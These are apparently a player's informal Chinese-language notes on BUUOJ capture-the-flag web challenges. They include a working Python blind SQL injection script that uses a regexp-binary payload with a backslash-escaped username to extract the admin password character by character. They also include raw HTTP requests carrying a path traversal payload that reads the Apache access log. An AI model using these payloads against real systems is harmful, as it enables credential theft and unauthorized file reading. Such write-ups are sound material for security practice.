babyweb

看了看上面蓝猫 美团 的sql注入题目 https://xz.aliyun.com/t/8003

还没看！🙄

image-20210529190725877

SELECT * FROM `users` where pass regexp binary 'P';

SELECT 'adad'  regexp  binary 0x5e62
import requests
import string

def str2hex(string):
  result = ''
  for i in string:
    result += hex(ord(i))
  result = result.replace('0x','')
  return '0x'+result

strs = string.ascii_letters+string.digits
url = "http://3fb55301-c0be-4134-830b-fda52f321221.node3.buuoj.cn/"
headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload = 'or password regexp binary {}#'
if __name__ == "__main__":
    name = ''
    for i in range(1,40):
        for j in strs:
            passwd = str2hex('^'+name+j)
            payloads = payload.format(passwd)
            postdata={
                'username':'admin\\',
                'password':payloads
            }
            r = requests.post(url,data=postdata,headers=headers)
            if "BJD need" in r.text:
                name += j
                print(j,end='')
                break

就是通过binary可以识别大小写了！ 看手册说是二进制比较！ 所有能识别！ 这里没啥用16进制呢! 自动识别16进制！那用一下也没事！

babyweb：Apache Log

image-20210529172632075

给了提示！ 

POST /login.php HTTP/1.1
Host: b4dce1dc-9966-4126-b7b0-0ac4341ccfe5.node3.buuoj.cn
Content-Length: 25
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://b4dce1dc-9966-4126-b7b0-0ac4341ccfe5.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://b4dce1dc-9966-4126-b7b0-0ac4341ccfe5.node3.buuoj.cn/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: UM_distinctid=179a8787815906-09d310bee36c31-5771031-144000-179a87878164ad; OUTFOX_SEARCH_USER_ID_NCOO=1935872068.9989924; session=e37635a0-a596-493b-a8cf-307851016624.TDc6wqNHm-adsUAjtQzokqLZGgk; PHPSESSID=va8opg7i9iukf1gm51v3hmb1t6
Connection: close

password=admin&username=admin

登录界面感觉有sql注入！但是没测试出来！

过滤了 =

image-20210529182517804

提示了 日志文件!

登录只有admin才能读文件！

POST /home.php HTTP/1.1
Host: b4dce1dc-9966-4126-b7b0-0ac4341ccfe5.node3.buuoj.cn
Content-Length: 53
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://b4dce1dc-9966-4126-b7b0-0ac4341ccfe5.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://b4dce1dc-9966-4126-b7b0-0ac4341ccfe5.node3.buuoj.cn/home.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: UM_distinctid=179a8787815906-09d310bee36c31-5771031-144000-179a87878164ad; OUTFOX_SEARCH_USER_ID_NCOO=1935872068.9989924; session=e37635a0-a596-493b-a8cf-307851016624.TDc6wqNHm-adsUAjtQzokqLZGgk; PHPSESSID=va8opg7i9iukf1gm51v3hmb1t6; ___rl__test__cookies=1622281313626
Connection: close

filename=../../../../../../var/log/apache2/access.log

checkin

<!-- SELECT * FROM users WHERE username='admin' AND password= 'da''-->  <!-- 这是MySQL？ -->
<!DOCTYPE html>


不是mysql是啥！

不是mysql的话 bool应该能测呀!为啥测不出来！ tcl!